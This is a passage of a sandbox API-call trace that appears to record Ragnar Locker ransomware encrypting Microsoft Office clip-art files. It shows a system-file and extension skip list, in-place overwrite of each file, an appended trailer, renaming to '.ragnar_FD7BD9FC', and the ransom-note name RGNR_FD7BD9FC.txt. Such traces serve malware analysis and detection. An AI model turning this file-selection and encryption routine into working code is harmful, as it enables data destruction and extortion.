lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.ragnar_FD7BD9FC" [0090.441] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.441] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x321f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03380I.JPG", cAlternateFileName="")) returned 1 [0090.441] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.441] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH03380I.JPG" | out: lpString1="PH03380I.JPG") returned="PH03380I.JPG" [0090.441] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG") returned=".JPG" [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="autorun.inf") returned 1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="boot.ini") returned 1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="bootfont.bin") returned 1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="bootsect.bak") returned 1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="bootmgr") returned 1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="bootmgr.efi") returned 1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="bootmgfw.efi") returned 1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="desktop.ini") returned 1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="iconcache.db") returned 1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="ntldr") returned 1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="ntuser.dat") returned 1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="ntuser.dat.log") returned 1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="ntuser.ini") returned 1 [0090.442] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="thumbs.db") returned -1 [0090.442] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.442] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.442] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.442] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.442] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.442] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.442] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg")) returned 0x20 [0090.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.443] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12831) returned 1 [0090.443] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3216, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.443] GetProcessHeap () returned 0x580000 [0090.443] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.443] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.444] VirtualAlloc (lpAddress=0x0, dwSize=0x321f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.445] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x321f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x321f, lpOverlapped=0x0) returned 1 [0090.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.446] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x321f, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.446] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x321f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x321f, lpOverlapped=0x0) returned 1 [0090.446] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x321f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.446] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.446] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x321f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.446] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.446] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.446] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.446] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.446] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.446] GetProcessHeap () returned 0x580000 [0090.446] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.446] CloseHandle (hObject=0xf4) returned 1 [0090.447] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" [0090.447] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.ragnar_FD7BD9FC" [0090.447] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.447] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbdae, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03425I.JPG", cAlternateFileName="")) returned 1 [0090.447] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.447] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH03425I.JPG" | out: lpString1="PH03425I.JPG") returned="PH03425I.JPG" [0090.447] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG") returned=".JPG" [0090.447] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.447] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="autorun.inf") returned 1 [0090.447] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="boot.ini") returned 1 [0090.447] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="bootfont.bin") returned 1 [0090.447] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="bootsect.bak") returned 1 [0090.447] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="bootmgr") returned 1 [0090.448] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="bootmgr.efi") returned 1 [0090.448] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="bootmgfw.efi") returned 1 [0090.448] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="desktop.ini") returned 1 [0090.448] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="iconcache.db") returned 1 [0090.448] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="ntldr") returned 1 [0090.448] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="ntuser.dat") returned 1 [0090.448] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="ntuser.dat.log") returned 1 [0090.448] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="ntuser.ini") returned 1 [0090.448] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="thumbs.db") returned -1 [0090.448] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.448] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.448] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.448] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.448] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.448] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.448] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg")) returned 0x20 [0090.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.448] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=48558) returned 1 [0090.448] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbda5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.449] GetProcessHeap () returned 0x580000 [0090.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.449] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.450] VirtualAlloc (lpAddress=0x0, dwSize=0xbdae, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.450] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.450] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.450] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbdae, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbdae, lpOverlapped=0x0) returned 1 [0090.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.452] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbdae, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.452] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbdae, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbdae, lpOverlapped=0x0) returned 1 [0090.452] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbdae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.452] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.453] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbdae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.453] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.453] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.453] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.453] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.453] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.453] GetProcessHeap () returned 0x580000 [0090.453] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.453] CloseHandle (hObject=0xf4) returned 1 [0090.453] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" [0090.453] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.ragnar_FD7BD9FC" [0090.453] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.454] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xef6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRRT.WMF", cAlternateFileName="")) returned 1 [0090.454] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.454] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PRRT.WMF" | out: lpString1="PRRT.WMF") returned="PRRT.WMF" [0090.454] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF") returned=".WMF" [0090.454] lstrcmpiW (lpString1="PRRT.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.454] lstrcmpiW (lpString1="PRRT.WMF", lpString2="autorun.inf") returned 1 [0090.454] lstrcmpiW (lpString1="PRRT.WMF", lpString2="boot.ini") returned 1 [0090.454] lstrcmpiW (lpString1="PRRT.WMF", lpString2="bootfont.bin") returned 1 [0090.454] lstrcmpiW (lpString1="PRRT.WMF", lpString2="bootsect.bak") returned 1 [0090.454] lstrcmpiW (lpString1="PRRT.WMF", lpString2="bootmgr") returned 1 [0090.454] lstrcmpiW (lpString1="PRRT.WMF", lpString2="bootmgr.efi") returned 1 [0090.454] lstrcmpiW (lpString1="PRRT.WMF", lpString2="bootmgfw.efi") returned 1 [0090.454] lstrcmpiW (lpString1="PRRT.WMF", lpString2="desktop.ini") returned 1 [0090.454] lstrcmpiW (lpString1="PRRT.WMF", lpString2="iconcache.db") returned 1 [0090.454] lstrcmpiW (lpString1="PRRT.WMF", lpString2="ntldr") returned 1 [0090.454] lstrcmpiW (lpString1="PRRT.WMF", lpString2="ntuser.dat") returned 1 [0090.454] lstrcmpiW (lpString1="PRRT.WMF", lpString2="ntuser.dat.log") returned 1 [0090.455] lstrcmpiW (lpString1="PRRT.WMF", lpString2="ntuser.ini") returned 1 [0090.455] lstrcmpiW (lpString1="PRRT.WMF", lpString2="thumbs.db") returned -1 [0090.455] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.455] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.455] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.455] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.455] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.455] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.455] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf")) returned 0x20 [0090.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.457] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3830) returned 1 [0090.457] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xeed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.457] GetProcessHeap () returned 0x580000 [0090.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.457] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.459] VirtualAlloc (lpAddress=0x0, dwSize=0xef6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.459] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.459] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.459] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xef6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xef6, lpOverlapped=0x0) returned 1 [0090.459] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.459] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xef6, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.459] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xef6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xef6, lpOverlapped=0x0) returned 1 [0090.459] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xef6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.460] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.460] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xef6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.460] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.460] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.460] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.460] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.460] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.460] GetProcessHeap () returned 0x580000 [0090.460] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.460] CloseHandle (hObject=0xf4) returned 1 [0090.460] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" [0090.460] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.ragnar_FD7BD9FC" [0090.460] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.463] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: 